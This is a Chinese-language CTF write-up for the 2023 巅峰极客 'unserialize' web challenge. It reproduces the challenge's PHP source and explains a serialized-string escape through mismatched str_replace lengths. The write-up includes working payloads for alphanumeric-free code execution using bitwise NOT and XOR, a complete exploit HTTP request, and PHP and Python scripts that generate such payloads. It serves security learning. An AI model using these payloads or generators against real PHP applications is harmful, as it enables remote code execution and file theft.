2023巅峰极客 unserialize wp 后台扫描发现
访问www.zip下载拿到源码my.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class pull_it { private $x; function __construct($xx) { $this->x = $xx; } function __destruct() { if ($this->x) { $preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);'; if (eval($preg_match)) { echo $preg_match; exit("save_waf"); } @eval($this->x); } } } class push_it { private $root; private $pwd; function __construct($root, $pwd) { $this->root = $root; $this->pwd = $pwd; } function __destruct() { unset($this->root); unset($this->pwd); } function __toString() { if (isset($this->root) && isset($this->pwd)) { echo "<h1>Hello, $this->root</h1>"; } else { echo "<h1>out!</h1>"; } } ?>
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php include_once "my.php" ;include_once "function.php" ;include_once "login.html" ;session_start ();if (isset ($_POST ['root' ]) && isset ($_POST ['pwd' ])) { $root = $_POST ['root' ]; $pwd = $_POST ['pwd' ]; $login = new push_it ($root , $pwd ); $_SESSION ['login' ] = b (serialize ($login )); die ('<script>location.href=`./login.php`;</script>' ); } ?>
function.php
1 2 3 4 5 6 7 8 9 10 <?php function b ($data ) { return str_replace ('aaaa' , 'bbbbbb' , $data ); } function a ($data ) { return str_replace ('bbbbbb' , 'aaaa' , $data ); } ?>
my.php里的pull_it是恶意类,能控制$this->x就能命令执行,这里是无字母数字命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 class push_it { private $root ; private $pwd ; function __construct ($root , $pwd ) { $this ->root = $root ; $this ->pwd = $pwd ; } function __destruct ( ) { unset ($this ->root); unset ($this ->pwd); } function __toString ( ) { if (isset ($this ->root) && isset ($this ->pwd)) { echo "<h1>Hello, $this ->root</h1>" ; } else { echo "<h1>out!</h1>" ; } }
index.php里对传入的参数先做序列化存储在$_SESSION里,并用b函数替换字符
当访问login.php时,会先替换字符再做反序列化
a函数和b函数都是字符串替换,数量不一致很明显存在字符串逃逸。一个是b字符串由短变长,第二个a函数是由长变短,我们这里利用a函数
自己的做法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class pull_it { private $x ; } class push_it { private $root ='root' ; private $pwd ='qwe' ; } $a =new push_it ();$b =serialize ($a );echo $b ;
O:7:”push_it”:2:{s:13:”%00push_it%00root”;s:4:”root”;s:12:”%00push_it%00pwd”;s:3:”qwe”;}我们利用这个来逃逸
O:7:”push_it”:2:{s:13:”%00push_it%00root”;s:4:”root**”;s:12:”%00push_it%00pwd”;s:3:”*qwe”;}可以利用的加粗字符数一数有28位,我们就一共要逃逸28个字符,a函数没执行一次会多2位,所以需要重复14次 14 6=84个b
然后我们要进行构造pwd,pull_it里过滤了超多,是无字符数字rce,这里用到取反
1 2 3 4 5 6 7 <?php class pull_it { private $x ="(~" .~"system" .")(~" .~"cat /f*" .");" ; } $a =new pull_it ();echo serialize ($a );
我们现在已经知道了pull_it序列化后字符串的形式了,接下来我们只需要闭合push_it序列化字符串前面的符号即可:
前面逃逸出来的这些字符已经变成username串中的一部分了,我们在pwd中也需要加入这些进行闭合(这里的%00我们不能直接这么写,需要编码后才为%00,所以我们可以先写成\000,这个是8进制的写法,然后编码之后就能转为%00,但是在php中需要使用双引号才能识别\000) “;s:12:”%00push_it%00pwd”;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class pull_it { private $x ; function __construct ($xx ) { $this ->x = $xx ; } } echo urlencode ("\";s:12:\"\000push_it\000pwd\";" .serialize (new pull_it ("(~" .~"system" .")(~" .~"cat /f*" .");" )));root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22 %3 Bs%3 A12%3 A%22 %00 push_it%00 pwd%22 %3 BO%3 A7%3 A%22 pull_it%22 %3 A1%3 A%7 Bs%3 A10%3 A%22 %00 pull_it%00 x%22 %3 Bs%3 A20%3 A%22 %28 %7 E%8 C%86 %8 C%8 B%9 A%92 %29 %28 %7 E%9 C%9 E%8 B%DF%D0%99 %D5%29 %3 B%22 %3 B%7 D
大佬的做法:
利用脚本构造异或的playload:(文章末尾附脚本)
1 2 3 4 ("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a"); base64一下 KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7
生成反序列化字符串
1 2 3 4 5 6 7 8 9 10 11 12 <?php class pull_it { private $x ; function __construct ($xx ) { $this ->x = $xx ; } } $a = new pull_it (urldecode (base64_decode ("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7" )));echo urlencode (serialize ($a ));
然后逃逸字符,逃逸14个字符,可以在pwd参数位置在本地微调
1 2 3 4 5 6 7 POST /index.php HTTP/1.1 Host: web-898394c697.challenge.xctf.org.cn Content-Length: 313 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=52q1rf64lljie7ivi6tbte4hnb root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"datou";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D
再访问login.php拿flag,记得带上SESSION
脚本:先php生成文本,再py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $myfile = fopen ("xor_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[a-z0-9]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )^urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
xor.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport urllibfrom sys import *import osdef action (arg ): s1="" s2="" for i in arg: f=open ("xor_rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"^\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)